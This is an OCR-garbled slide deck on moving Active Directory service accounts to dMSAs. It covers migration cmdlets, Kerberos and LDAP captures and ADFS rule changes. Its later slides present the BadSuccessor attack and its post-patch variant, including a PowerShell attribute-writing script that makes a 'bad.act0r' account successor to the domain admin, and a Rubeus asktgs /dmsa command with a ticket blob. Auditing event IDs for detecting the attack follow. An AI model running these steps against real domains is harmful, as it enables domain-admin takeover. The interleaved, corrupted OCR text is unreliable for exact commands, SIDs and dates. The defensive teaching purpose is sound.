CN=dMSAL.C DTCMTROT\ROFSRWD(C1 (2025-05-15 11:22:20) CM=grp.gs.Retrieve-Pwd-For-dMSA.ADLDSmig2 OU=Groups,OU=0rg-IThMgmt,DC=ADTEC... {SERVERTEST2$ (5-1-5-21-2T4783270-2712129839-3354909249... §
CN=dMSARD DTCNTROTROFSRWDC1 (2025-06-10 20:09:29) B be3cf336-9dbB-ef50-1efd-a28blac... DTCNTROT\ROFSRWDC1 (2025-06-... § {CN=ADM TEC CN=Users, DC=ADTEC,DC=NET, CN=grp.gs.Retrieve-Pwd-For-dMSAADLDS...  {ADM.TEC (5-1-53-21-274783270-2712129839-3354909249-500).... § &
EN=dMSASne DTCWTROTVROFSRWDICT (2025-06-10 20:10:59) [ 8f1ff2ec-6315-6624-2389-44cbal4... DTCNTROTROFSRWDC1 (2025-06-... § CM=grp.gs.Retrieve-Pwd-For-dMSAADLDSnat2, OU=Groups,0U=0rg-ITMgmt,DC=ADTEC,... {SERVERTEST2$ (S-1-5-21-274783270-2712129839-3354909249.. § {
DTCMNTROTROFSRWDCT (2025-06-04 21:15:04) {CN=ADM TEC CN=Users, DC=ADTEC,DC=MNET, CN=SERVERTEST1,OU=TEST1,0U=Servers.... {ADM.TEC (5-1-5-21-274783270-2712129830-3354000249-500)....§ 0
DTCMTROTROFSRWDC1 (2025-05-09 12:55:36) CM=SERVERTEST1,0U=TEST1,0U=5ervers,0U=0rg-ITMgmt, DC=ADTEC, DC=NET SERVERTEST1S (5-1-5-21-274783270-2712129839-3354009249-... § {CN=GRP_RO_ALLOWCache-
DTCMTROTNROFSRWDC (2025-053-02 23:31:40) CM=grp.gs.Retrieve-Pwd-For-dMSA.TEST,OU=Groups,OU=0rg-ITMgmt,DC=ADTEC DC=NET {SERVERTEST3§ (S-1-5-21-274783270-2712129839-3354909249... § {CN=Domain Admins,CN=U
LRI TR A DA EC R ATy 3O TE e it 23 a0 I [z Do Co Jaach TCCTi ] Sl TR oy D 8 T T [CCpyEDTECT4d o 4 £ 21 27ATeS 170 2743130000 22CA0nnT a0 IEM =Dimrnsin Admine O <11



https://gist.github.com/zjorz/62de8c4b5c8d10f7b3c1934c4332dfb8

Migrating Service Accounts

Legacy = dMSA ( ),
INITIATING MIGRATION through PoSH CMDIet (Domain Admin only!):

# Starting Migration Of Svc Account To dMSA

Start-ADServiceAccountMigration -ldentity "<dMSA>" -SupersededAccount "<DN of Legacy Svc Account>"

# Starting Migration Of Svc Account To dMSA (Under The Hood)

$rootDSE = [ADSI]"LDAP://<RWDC FQDN>/RootDSE"
$rootDSE.Put("migrateADServiceAccount”, "<DN of dMSA>:<DN of Legacy Svc Account>:1")
$rootDSE.Setinfo()

|B Event Properties - Event 3085, ActiveDirectory DomainService X
[J B Administrator: Windows Pows X + > = X Genersl Details

A Delegated Managed Service Account Migration Operation Succeeded.

PS C:\> Get-ADUser
servicePrincipalName

DistinguishedName : CN=sVC.50QL,0U=5vcAccounts-TESTs ,0U=0rg-ITMgmt , DC=ADTEC, DC=NET
I: n ab L € d : I = cAccounts-TESTs,OU=0rg-ITMgmt,DC=ADTEC, DC=NET
GivenNams - nalState:

msDS—SupersededManagedAccountlLink : CN=dMSA.SQL,0U=dMSA-TESTs, OU=0rg-ITMgmt,K DC=ADTEC,DC=NET
msDS—-SupersededServiceAccountState : 1

STs,0U=0rg-ITMgmt,DC=ADTEC,DC=NET

Name I SVL.SUL

ObjectClass : user

ObjectGUID : 1201c982-288U-U275-baa6-03fb223117e9

SamAccountName : sVC.SQL

servicePrincipalName : {MSSQLSvec/SERVERTEST2:1433, MSSQLSvc/SERVERTEST2.ADTEC.NET:1433,
MSSQLSvc/SERVERTEST1:1433, MSSQLSvc/SERVERTEST1.ADTEC.NET:1433...}

S5ID : §-1-5-21-27U783276-2712129839-3351989219-13616

Surname ]

UserPrincipalName : sVC.SQL@ADTEC.NET



Migrating Service Accounts

Legacy = dMSA ( ),
Authentication BEFORE Migration State
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Migrating Service Accounts

Legacy - dMSA (
Authentication DURING Migration State (either force or take en g tlme'

| kerberos

Time Source Destination Protocal Lengtl Info
2825 -BE-05 14:22:83 430130 16.1.4.41  16.1.4.1 KRES 2235 AS-RFQ
2025-86-05 14:22:83.431569 10.1.4.1 10.1.4.41 KRBS 644 AS—REH
2025-B6-05 14:22:83.432304 10.1.4.41  10.1.4.1 KRES 1910 1G5-REQ

security auditing.

Time Source Destination Protocol Lengtl Info
2025-06-85 122:03.464045 10.1.4.41 18.1.4.1 LDAP 192 SASL GSS-API Privacy (decrypted): searchRequest(136) "<ROOT>" baseObject
2025-06-85 :22:03.464264 16.1.4.1 18.1.4.41 LDAP 216 SASL GSS-API Privacy (decrypted): searchResEntry(136) "<ROOT>" searchResDone(136) success [3 results]

2025-06-85 122:93.464409 108.1.4.41 18.1.4.1 LDAP 324 SASL GSS-API Privacy (decrypted): searchRequest(137) "DC=ADTEC,DC=NET" wholeSubtree
e 1 R L T =9 L : -} 465010 18 1 4.1 181 4 41 LDAR rar ASL G ARI _Rriis e d ru::ﬂ' gy cchi Entoui137% "Ch-—dush fall Iﬂll—rhr\ AaTEST Iﬂll—nrg T'r'ngmi—lnr—.r\n'ri:rlnr—
:{h

2825-06-85 122:83.587894 18.1.4.41  18.1.4.1 LDAP 375 SASL GS5-API Privacy (decrypted): medifyRequest(138) "CN=dMSA.SQL,0U=dMSA-TESTs,0U=0rg-ITMgmt,DC=ADTEC,DC=NI
20825-db-65 122:85.525048 18.1.4.1 18.1.4.41 LDAP 141 SASL G55-APL Praivacy (decrypted): modityResponse(l38) success

Frame 271: 375 bytes on wire (30888 bits), 375 bytes captured (3808 bits) on interface \Devicel ,0U=0rg-ITMgmt,DC=ADTEC, DC=NET
Ethernet II, Src: VMware_da:la:b@ (@8:@c:29:da:la:b@), Dst: VMware_24:4@8:8e (88:08cC:29:24:48:0e 5 il‘:aji}
Internet Protocol Version 4, Src: 18.1.4.41, Dst: 18.1.4.1 : ) - :
Transmission Control Protocol, Src Port: 51359, Dst Port: 389, Seq: 2697, Ack: 3884, Len: 321 i’ ; - p = : = SAMembership
Lightweight Directory Access Protocol p =
SASL Buffer Length: 317 msDS-Gro upMSAMem
~ SASL Buffer bershlpl
> GS5-API Generic Security Serwvice Application Program Interface £1-438F04525630}
v G55-API Encrypted payload (257 bytes)
~ LDAPMessage modifyRequest(138) "CN=dMSA.SQL,0U=dMSA-TESTs,0U=0rg-ITMgmt, DC=ADTEC,DC=NE
messagelD: 138
¥ protocolOp: modifyRequest (6) oo ofomaos : 05-Jun-2025 13:53:09
~ modifyBequest - tegory: Directory Service Changes
Iob]ect CN=dMSA. SQL,0U=dMSA-TESTs, 0U=0rg-ITMgmt , DC=ADTEC,, = NETI = ofon « ds. Audit Success
v Tmodification: I item - tter: ROFSRWDC1.ADTEC.NET
v modification item

operation: replace (2)
~ modification msDS-GroupMSAMembership
type: msDS-GroupMsAMembership

> wals: 1 item
Response Tn: 273
> caddr: 1 item SERVERTEST1<28>
v encrypted-pa-data: 3 items

¥ PA-DATA Unknown:17@
v padata-type: Unknown (178) - KERB-SUPERSEDED-BY-USER

adata-value: 3625a8163814a083626161a168d368b1b69644d53412e53514c24a16t
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Migrating Service Accounts

Legacy = dMSA ( ),
COMPLETING MIGRATION through PoSH CMDlet (Domain Admin only!):

# Completing Migration Of Svc Account To dMSA
Complete-ADServiceAccountMigration -Identity "<dMSA>" -SupersededAccount "<DN of Legacy Svec Account>"

# Completing Migration Of Svc Account To dMSA (Under The Hood)

$rootDSE = [ADSI]"LDAP://<RWDC FQDN>/RootDSE"
$rootDSE.Put("migrateADServiceAccount”, "<DN of dMSA>:<DN of Legacy Svc Account>:2")
$rootDSE.Setlnfo()




Migrating Service Accounts
Legacy - dMSA ( )

U & Administrator: Windows Powe - a x

PS C:\> Get-ADServiceAccount "dMSA.SQLS" "msDS—AllowedToActOnBehalfOfOtherIdentity"”, "msDS—AllowedT COM PLETl N G

oDelegateTo", "msDS-AssignedAuthnPolicy" , "msDS—-DelegatedMSAState" , "msDS-ManagedAccountPrecededBylink" ,PrincipalsAllowedTo

Retriéveﬂanagedpasswurd- servicePrincipalName userAccountControl M | G RAT | O N th roug h
DistinguishedName : CN=dMSA.SQL,0U=dMSA-TESTs, OU=0rg-ITHMgmt , DC=ADTEC, DC=NET POS H C M D | et

D el LTLe
msDS-DelegatedMSAState : 2 . .
msDS-ManagedAccountPrecededByLink g ;I::s‘u'c .SQL, 0U=SvcAccounts-TESTs , 0U=0rg-ITHMgmt , DC=ADTEC , DC=NET ( DO m a I n Ad m I n
| Ty
ObjectClass : msDS-Dglegatedl"‘lanagedServiceAccuunt
OhiectGUTN . _IETTIEAI~—ATed—l18h5E—0217-0d£227 11228 Only!)'
PrincipalsAllowedToRetrieveManagedPassword : {CN=SERVERTEST2,0U=TEST2,0U=Servers,OU=0Org-ITMgmt K DC=ADTEC,DC=NET

CN=5ERVERTEST1,0U=TEST1,0U=5ervers , OU=0rg-ITMgmt , DC=ADTEC, DC=NET, CN=grp.g
5.Retrieve—Pwd—For—dfsA.50L  OU=Groups , OU=0rg—11Mgmt , DC=ADTEC , DC=N ET}

icePrincipalN . ?EESQLS thER‘U’ERTESTI 1433, MSSQLSvc/SERVERTEST2.ADTEC.NET:1u33 Conflg Migration Legacy Sve Acc 2 dMSA
servicePrincipalName g Ve g . vc : .NET: ] : o
MSSQLSvc/SERVERTEST1: 1433, MSSQLSvc/SERVERTEST1.ADTEC.NET:1433. . I - Service Principal Names (SPNs)
S1D S I-5-21-210783279-2112129839-3300909 20913612 - Allowed To Delegate To List
O B Administrator Windows Pows X | &= | = T - Respurce Based Qoqstra|n§d Delegation
__ ) _ N - Assigned Authentication Policy
PS C:\> Get-ADUser "sVC.SQL" member0f, "msDS-AllowedToActOnBehalfOfOtherIdentity", "msDS-AllowedToDe Assianed Authentication Sil
legateTo", "msDS-AssignedAuthnPolicy”, "msDS—SupersededServiceAccountState" , "msDS—SupersededManagedAccountlLink", servicePri - ASSIgned Authentication I_O .
ncipalName, userAccountControl - Trusted AuthN For Delegatlon UAC Bit
DistinguishedName : CN=sVC.SQL,0U=SvcAccounts-TESTs, OU=0Org-ITMgmt , DC=ADTEC , DC=NET REQUIRES Attention if applicable!:
Enabled : False - Allow/Denied To Cache” List of RODC(s)
MemberO+ : {CN=grp.gs.SomeGroupForlLegacyServiceAccounts, 0U=Groups,0U=0rg-ITMgmt ,DC=ADTEC, DC=N

msDS—-SupersededManagedAccountLink : CN=dMSA.SQL,0U=dMSA-TESTs,f OU=0rg-ITMgmt K DC=ADTEC,DC=NET
msDS-SupersededServiceAccountState : 2

—




Migrating Service Accounts

Legacy - dMSA (

Authentication A R Miaration

Miaration Comple

| |kerberos

Mo, Time Source Destination Protocol  Lengtl Info
293 2025-86-05 23:16:32.305836 10.1.4.1 10.1.4.41 KRBES 558 TGS-REP
«i; 1 2025-66-05 23:16:32,306989 10.1.4.41  10.1.4.1 KRES 2139 TGS-REQ

384 2825-86-85 23:16:32.313835 18.1.4.1 1@.1.4.41 KRES 734 TG5-REP

|CNameString: dMSA. SQLS
¥ transited

tr-type: 1
contents: <MISSING>
authtime: Jun 5, 2825 11:40:46.000000000 W. Europe Daylight Time
starttime: Jun 5, 2825 23:16:32.000880002 W. Europe Daylight Time
endtime: Jun 6, 2825 @7:18:41.0000008008 W. Eurcpe Daylight Time
renew-till: Jun 12, 2825 11:4@:40.000600080 W. Eurcope Daylight Time
> authorization-data: 1 item
~ enc-part
etype: eTYPE-AES256-CTS-HMAC-SHAL-96 (18)
~ cipher [..]: fa431b48b41f7d124adab58Tba7bobfa30ecfdc232292995c2371aT63d74418e813919TE
> Derived strengthen-reply-key keytype 18 (id=3@4.3) (9f9cfal3...)
> Decrypted keytype 18 usage 9 using derived strengthen-reply-key in frame 384 (id-
~ encTa5RepPart
> key
» last-req: 1 item
nonce: 858815922
Padding: @
flags: 4@aleeee
authtime: Jun 5, 2825 11:40:40.080000080 W. Europe Daylight Time
starttime: Jun 5, 2825 23:16:32.000800002 W. Europe Daylight Time
endtime: Jun 6, 2825 67:19:41.002008000 W. Eurcpe Daylight Time
renew-till: Jun 12, 2825 11:48:40.000000000 W. Eurcpe Daylight Time
srealm: ADTEC.NET
¥ sname
name-type: kRBS-NT-SRV-INST (2)
¥ sname-string: 2 items
SNameString: krbtgt
SNameString: ADTEC.NET

~ encrypted-pa-data: 3 items
v PA-DATA Unknown:171 > = KERB-DMSA-KEY-PACKAGE
¥ padata-type: Unknown (171)
[padata-value [..]: 3881a2aB63386130292083028112a122842688b4ad6bbelectdbi

@
"+ SH
+E "

+2)
Ao MVjc
k

velI @ @

2825
32F 2

@
B9da467
6E521163
25868685
2825861
ADTE

gt - ADTE

BEE52116
k
28258685
28258
27 28
18417
28948487
C.NET--@
@ - krbt
C.NET

FA-DATA PR SOFPORTED-ET TIPS

padata-value (kerberos.padata_value), 173 bytes

Reassembled TCP (2140 bytes) Krb5 FastRep (232 bytes) Krb5 Ticket (1157 bytes)

Packets: 645 - Displayed: 76 (11.8%) - Dropped: 0 (0.0%)

=gatedManagedServiceficcount
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Migrating Service Accounts
Legacy = dMSA (

WARNING Some appllcatlons/servmes may still requwe attention!!! = e.q., ADFS

) B administrator: Windows Pows X v X DFs B Event Properties - Event 143, AD FS bt

() B Administrator: Windows Powe X + ~ = O X General Details

5-1-5-21-27U783270-2712129839-3354909249-13636

[J B Administrator: Windows Powe X + -~ - =] X
S§-1-5-21-2747832760-2712129839-3354989249-13636
@RuleName = "Permit Service Account"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims, 5-1-5-21-274783270-2712129839-335U4909249-13636
29839-3354909249-13636"1) @RuleName = "Permit Service Account"
= oD = S e R s. e A e el o exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysi
GUME S Tt Lecel AlninEs v 2gg3i;iﬁ2??992”?‘}ﬁiiﬁ.}356hemas microsoft.com/authorization/claims/permit”, Value JAEETD S HHZ S Lol AR
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims;, ~ ype = B . . B ' exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid”, Value == "S5-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/perm; @RuleName = "Permit Local Administrators" => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit"”, Value = "true")
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid’ @RuleName = "Permit Service Account”
=> issue(Type = ?http:f{schemas.mlcroscft.com/authorlzatlon/claJms/permlt”I Value exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid"”, Value == "S-1-5-21-274783270-27121
@RuleName = "Permit Service Account" 20839-335909219-13637"])
@RuleName = "Permit Service Account" ;;g;;fgg;ﬂg;g;;giﬁgé§;ﬁ§§6hemas'mlcrcscft'cam/wsfzﬂﬂsfﬂﬁfldentlty/CLalms/FrlmarySJ => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit"”, value = "true");
et LTy Pl r /s anaet e s e e B (2B08 (BE A e B VE LS = Pul issue(Type = "http://schemas.microsoft.com/authorization/claims/permit”, value
29839-33504909209-13636"]) P p: : : P '
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/perm;
@RuleName = "Permit Local Administrators" @RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/ exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S5-1-5-32-544"])
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/perm: QRuleName = "Permit Service Account® => issue(Type = "http://schemas.microsoft.com/authorization/claims/permit”, Value = "true")
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarys] @RuleNane = "Permit Service Account"
PS C:\> | 29839-3354909219-13636"1) exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid"”, Value == "S-1-5-21-274783270-27121

=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit"”, Value 20839-3351909219-13637"])

=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit”, value = "true");

@RuleName = "Permit Local Administrators"
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid"

=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit”, Value pg C:\>
@RuleName = "Permit Service Account"

exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid",
29839-3354909249-13637"])

=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit"”, value = " # RemOVing OLD SerVice Account From Authz RU|eS
' ' [qi ' iceAccountModule
# Adding NEW Service Account To AuthZ Rules  Remove-AdfsServiceAccountRule -ServiceAccount “<Old Legacy Account>"

, PropertyFacto

earch[T](Filter filter, Int32

https://github.com/microsoft/adfs Toolbox/tree/master/s [-SecondaryServers “<List of secondary Servers> 1
Computer - SERVE iR Add-AdfsServiceAccountRule -ServiceAccount “<New avisA Account>” |- w Computer.  SERVERTESTI ADTECNET

SecondaryServers “<List Of Secondary Servers>‘|

Close


https://github.com/microsoft/adfsToolbox/tree/master/serviceAccountModule
https://github.com/microsoft/adfsToolbox/tree/master/serviceAccountModule

Migrating Service Accounts

Account = dMSA ( ),
= WITHOUT PATCH Aug 12, 2025 - KB5063878 - W2K25 DCs

* Merging PAC (= Privilege Attribute Certificate) and getting hashes/keys of supported
encryption types from targeted account, under the following minimal conditions
dMSA attribute "msDS-DelegatedMSAState" = 2

dMSA attribute "msDS-ManagedAccountPrecededByLink" = "<DN of some account,
user/computer/sMSA/gMSA/dMSA>" (anything that can authenticate!)
Major Problem = Accounts with well-known DNs (default domain admin + KRBTGT)

 Listed attributes ARE NOT protected from regular LDAP writes!
« Wow! That's a LOT of EASY power! What could go wrong? ﬁ'
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Migrating Service Accounts
Account -2 dMSA ( )

* Therefore, anyone controlling | =R AT R

ANY dMSA through - Bad-Successor-VIEW-DATA-v2.ps1
""" # WRITE DATA INTO ATTRIBUTES "msDS-groupMSAMembership", "msDS-DelegatedMSAState", "msDS-
. - ManagedAccountPrecededByLink" OF THE dMSA
. Create Ch||d (S peCIfIC 1(0) $dMSADN = "CN=dMSA.weak,0U=dMSA-TESTs,0U=0Org-ITMgmt,DC=ADTEC,DC=NET"
i $objectState = 2
dMSA or genenc) SaccDN = "CN=ADM TEC,CN=Users,DC=ADTEC,DC=NET* # = Renamed Default Domain Admin

$accAllowGetPwd = "ADTEC\bad.act0r*

$badSuccessorPatchinstalled = $false

« Full Control (e.g.,
Account Operators)

+ Write DACL D E| e

+++ dMSA +++
> Updating dMSA Object 'CN=dMSA.weak,OU=dMSA-TESTs,OU=0rg-ITMgmt K DC=ADTEC,DC=NET"...

. # Attribute...............: "msDS-DelegatedMSAState"'
® erte Owner * Value.................: '2!
# Attribute...............: "msD5-groupMSAMembership"
. * Value.................: "ADTEC\bad.acter'
*  Write Property
# Attribute...............: "msD5-ManagedAccountPrecededByLink'
* Value (ADD)...........: "CN=ADM TEC,CN=Users K DC=ADTEC,DC=NET"

PS C:\Users\bad.actor>


https://gist.github.com/zjorz/0fea4c163e74aa30c7ac50adfc530341
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Migrating Service Accounts
ccount - dMSA (

I PS D:\Support-Stuf+f\Tools

-NET /npwrap

PS D:\Support-St

krbtgt/ADTEC. NET

| EFoQsbCUFEY 147 |

————| U69wuZHMREZ [*] |
|

——| CVidHHL3ARY {47
| | 1ESZ1CDSgOV [4]
=l 8fe8Isf6DgH [4] 1
IQHF3aBENJY [4] |
v2.3.] ND5sJK1uMnH
ZzstHBnOTe§
[*] Act| mzDUJuRIKa] 1611
NmpSW6gSVTJ /g5
[*] Usi| JhveT7lfz67q 4701,
Eed-Usil LDKV/v/nvI o a7,
[*] Bui] GIHUTILVWKE pcuid
[l
[+]
[*]

Usi| U9uwT7g6pkfe ByZFs

+] TGT| OhCxsJQURUR 2VLIRY
*] bas| AyNTA2MjUYM | 401+
; yAzZVi

NJgl

IEbTCCBH ESSE‘
M+iwd /e h3ivi
GMPsex5 tRM1I
GefTAIS equVi
H2g3MLU, atuLl
15uxoNJ 160q3
oqlZ26N Jsz:
1ZF+VPH mSZLE
[*] Action] VQe/]

Raphl

Sej




Migrating Service Accounts

Accnt = dMSA (Patched Successor!)

 Patched Successor = WITH PATCH Aug12, 2025 - KB5063878 - W2K25 DCs
* Merging PAC (= Privilege Attribute Certificate) and getting hashes/keys of supported
encryption types from targeted account, under the following minimal conditions
dMSA attribute "msDS-DelegatedMSAState" = 2

dMSA attribute "msDS-ManagedAccountPrecededByLink" = "<DN of some account,
user/computer/sMSA/GQMSAAMSA>" (anything that can authenticate, except dMSAs!)

(legacy service) account attribute “msDS-SupersededServiceAccountState” = 2

(legacy service) account attribute “msDS-SupersededManagedAccountLink’ = <DN of dMSA
referencing the (legacy service) account>

« Listed attributes ARE STILL NOT protected from regular LDAP writes! 18¢
 In addition to controlling dMSA, control is also needed on target/referenced account!

* Protected Accounts (secured by adminSDHolder) are now exempt from this attack.
But... what about over-permissioned non-protected accounts as the backdoor?



Migrating Service Accounts
Accnt = dMSA (Patched Successor!)

 Therefore, anyone controlling g:g:gEgggzzgmmgiﬁmzv?-S1s1

AN Y ACCO u nt + d |\/| S A th rou g h gl # WRITE DATA INTO ATTRIBUTES "msDS-groupMSAMembership”, "msDS-DelegatedMSAState’, 'msDS-

ManagedAccountPrecededByLink" OF THE dMSA

# WRITE DATA INTO ATTRIBUTES "msDS-SupersededServiceAccountState", "msDS-

¢ Create Ch I|d (S peCIfIC tO SupersededManagedAccountLink" OF THE (LEGACY SERVICE) ACCOUNT
. $dMSADN = "CN=dMSA.weak,0U=dMSA-TESTs,0U=0Org-ITMgmt,DC=ADTEC,DC=NET*
dMSA or generic) SobjectState = 2

$accDN = "CN=ADM TEC,CN=Users,DC=ADTEC,DC=NET*“ # = Renamed Default Domain Admin
$accAllowGetPwd = "ADTEC\bad.act0r*
$badSuccessorPatchinstalled = $true

« Full Control (e.g.,

Account Operators)  [o x s <+ - i —

+++ dMSA +++
> Updating dMSA Object 'CN=dMSA.weak,OU=dMSA-TESTs,OU=0Org-ITMgmt DC=ADTEC, DC=NET"...

[ J erte DACL # Attribute...............: 'msD5-DelegatedMSAState’

 Value. ... .....cc.0ua..2 2
. # Attribute...............: "msDS-groupMSAMembership'
e Write Owner | [l i g
rl e Wner * Value ADTEC\bad.actBr
# Attribute...............: 'msDS-ManagedAccountPrecededBylLink’
Value (ADD)...........: "CM=ADM TEC,CN=Uszrs,DC=ADTEC,DC=MET'

*  Write Property

. . . +++ ACCOUNT +++
) At‘taCk ‘teCh n Iq ue Stl | | Val Id ' > Updating Account Object 'CN=ADM TEC,CN=Users,DC=ADTEC,DC=NET"...
" # Attribute...............: "msDS-SupersededManagedAccountLink'
* Value (ADD)...........: 'CN=dMSA.weak,OU=dMSA-TESTs,KOU=Org-ITMgmt K DC=ADTEC,DC=NET"

# Attribute............... : 'msDS-SupersededServiceAccountState'
ST saanonanoonoaanos S
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Migrating Service Accounts
Accnt = dMSA (Patched Successor!)

 Following only the conditions for Bad Successor while patch is installed, results
in Kerberos Error when requesting the TGS for the dMSA!

Time

=
a
m

Protocal Lengtl Info

B windows PowerShell x + | - m] x

PS D:\Support-Stuff\Tools\Rubeus> .\Rubeus.exe asktgs /targetuser:dMSA.weak$ /domain:ADTEC.NET /enctype:aes256 /service:
krbtgt/ADTEC.NET /dc:ROFSRWDC1.ADTEC.NET /dmsa /opsec /nowrap /ptt /ticket:doIFojCCBZ6gAwIBBaEDAgEWo0IErzCCEBKthggSnMIIED
6ADAgEFoQsbCUFEVEVDLKSFVKIeMBygAwIBAqEVMBMbBmtyY YnRndBsJQURURUMUTKVUoUIEDTCCBGmgAwIBEQEDAGECoo IEWWSCBFFAgnn+NiQFKobvcEULD
jV§TviPuli75KTaQQbC5xqHFZ67/Fw/6hvmuxt smvD/cwHB83PUbBdIbvnzsU3vFernZUe7ZuUr5t tutW3TFEA1BNOWwomXYtsXsQxRPH896/3yIUXRUFznUUB
Lm7+py6nXBvrJRPhF1Vkzb8ubZ55GBzMzzWzP1TFNUfahHfR@8ph01L8PaJ6EqLsK5sS6BGTNZ jG6JIP5j Ty25AdhsBYrxTv/AENd9@eDsm@s 6qn jOaako2q2
mv10uHc+XHUvgHBvQf ZLSHbWY9nzyhMR31iCFGSVFak0resCx2kWp+hLAOSWCoycNzhPhdVhJ1FunuE jYaFuy@QCZowdNAewdCvn7baSEQWRXvDNGBK2 TweZV
pBxsNgu21iYt0gOUhFoUhRKTFL3IPkmZ /vicGmtubdIxYbi93UWIcjSS+GWxXoj6feKx9SGSyownHalkzUbInTAlawvBuiawfNCquOpD8e6FmDNU1R2jtBoH
Ei3za/mRihrf86JZF+pINhxJ5uACCWOCiuNGoStF89CQte/ITpQZKQdoh+KhI YU qOYNjfmD/yGLGeqiAil OM3c/rZt9uBASgqCWYXLoVedSdlgQQA2kYL1K
kHeVRyMs1/fWmUbWVRnwUNnIs6HCEh2 /DYSLPROFz19cFNdf IMWhs6g0THe IHeNuHzuOPL jkSGIgckrZBd ZVUUitKskOETJ1/NNBUwiVbIXWT x1vfMLdnmOeg
YgBR6txTWSmzAKevGPBYFDT6KFBSFQwIYpfRdivb60FOUceECBTNS3dNHN2t iy1xnd?xefJD?)(aThFj3\!5FmeLmakG\rLéquXpUMSqTMLURQGB/TD’?&&‘ f+jLH
y/TtjYYIdSHFtrrZwN3GODFWA628 j +panHXZGVGLCKSXTDgMLqiB9takMinUJ8/RxtKSyet TmXS18MIcnb522 jpQ3PqJ9B9hdGe3+yIVCbgmOAQOBIZYX LK/
YDSrE/EklaHufujDr3tdeBlpvVicXmPeVFWvbfEV3VohxBvcOw2ReOWzXpRoG83+r5q29P0n0CQcolSLSVM33JoiqjaThiDO1QNd F5ujFvT1lgBfpgiqE/asV
yPsvcT739Y21EHTD1GIgbdONzVeD1mFgtH3uT1tppsM25qsByRnTQNbY3cpmyQXZahrxScsPcPRC8GVaD  TQ jWhCCTIU jVUe0IUkBWP j uCO3TXvOyX6Du62Y
rulvbs27X10hHXVQz3Pj60euTLZZsZVR1YaXupX3Lhw5SBOvimYrKF5juwEnBgU3DXh0fnsTZwy /v+C/1NurFbed jwl28oUalSxNOUiPOjP6p69voTOOWKVEF
tndVrEHkMHhCHeSaxvt1+DTcdK9GgREF88QcoSABrhF1HF sWCe/NKmYh/UtIoigQXi810qJkoDrJl6x6g91qurk2II/AY20KNgYBgviifgeZ3Hdyo9NBjCemSW
TLNfYsqEBosPmImHBTww73aoUHeMIHboAMCAQCigdMEgdBIgcBwgeqggecwgeQuwgeGglzApoAMCARKhIgQgITEX8/ iZho9a2MreXpzre8217goEJ6FOyCPru
uxXL jyhCxsJQURURUMuTKVUohYwFKADAGEB0QBWC xsJYmFkLmF jdDByowc DBQBALQAAPREYDz InM j UwOTAyMT IxMzMBkq YRGASYMDI 1MDkwMj Iy MTHzNFqnE
RgPMjAyNTASMDkxMjEzMzRagAsbCUFEVEVDLKSFVKkeMBygAWIBAQEVMBMbEmty YnRndBs JQURURUMUTKVU L 5 W. Europe Daylight Time

148 KRB Error: KRBSKRB_ERR_GENERIC
1694 TGS-REQ

Bk RRRRR

rbtgt
ADTEC.NET

[*] Action: Ask TGS

| [*] Requesting 'aes256_cts_hmac_shal' etype for the service ticket
[*] Building DMSA TGS-REQ request for 'dMSA.weak$' from 'bad.acter’
[+] Sequence number is: 988494581

| [*] Using domain controller: ROFSRWDC1.ADTEC.NET (10.1.4.1)

[X] KRB-ERROR (6@) : KRB_ERR_GENERIC

E PS D:\Support-Stuff\Tools\Rubeus>




Migrating Service Accounts

Legacy = dMSA ( )
 REMEMBER: dMSA creation and management is Tier0!
* Auditing

« Event ID 5137 - dMSA creation
« Event ID 5136 - writes to "msDS-groupMSAMembership" on dMSA object

* Applicable For BadSuccessor = Event ID 5136 - writes to "msDS-
DelegatedMSAState" with value of "2“ (not coming from 1) in combination with writes
to "msDS-ManagedAccountPrecededByLink" on dMSA object (+not being DN of
disabled user object), while also NOT writing anything to "msDS-
SupersededServiceAccountState" and to "msDS-
SupersededManagedServiceAccountLink" on the referenced account




Migrating Service Accounts

Legacy = dMSA ( )
Auditing (Continued)

Applicable For PatchedSuccessor = Event ID 5136 - writes to "msDS-
DelegatedMSAState" with value of "2“ (not coming from 1) in combination with writes
to "msDS-ManagedAccountPrecededByLink" on dMSA object (+not being DN of
disabled user object), while also writing “2” (not coming from 1) to "msDS-
SupersededServiceAccountState" and to "msDS-
SupersededManagedServiceAccountLink” on the referenced account

Event ID 2946 - Audit fetching passwords of dMSAs (unusual)

Event ID 4768 - Audit Success Of Kerberos Tickets Operations (TGT Request by
Account) followed by Event ID 4769 - Audit Failure Of Kerberos Tickets Operations
(TGS Request by same Account)

(When patched IS installed and BadSuccessor method, 2 attributes only, is used)
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egacy 2 dMSA (

] Active Directory Users and Computers
File Action View Help FIO[‘T‘I a non- High-Privileged Account perspectwe

I LEERL LAY L L W e e <25 DCs and enhance security

Active Directory Users and Com || pame

T Seved Queries File Action View Help From a non-High-Privileged Account perspect\ve
v B3 ADTECNET =2 HE 0B HEI2aETES

B Active Directory Users and Computers m}

» &1 AAD-CLOUD-SYNC —
. 5 Active Directory Users and Com || name Type Descripti . B e .
21 AAD-CONMNECT-SYNC = ¥e P -
i 28 Cert Publihers Securty Group.. | > [ Soved Queries - Fie Adion View He From a High-Privileged Account perspective
» | Builtin 31 AAD-CLOUD-5YNC Organizational... gy ‘ | B | D | E | ¥ B .
» [ Computers %Cloneable Domain Contrallers . Secur!ty Group., | v ADTEC.MET 157 AAD-CONNECT-SYNC Organizational... {Eml L= g | 2 R
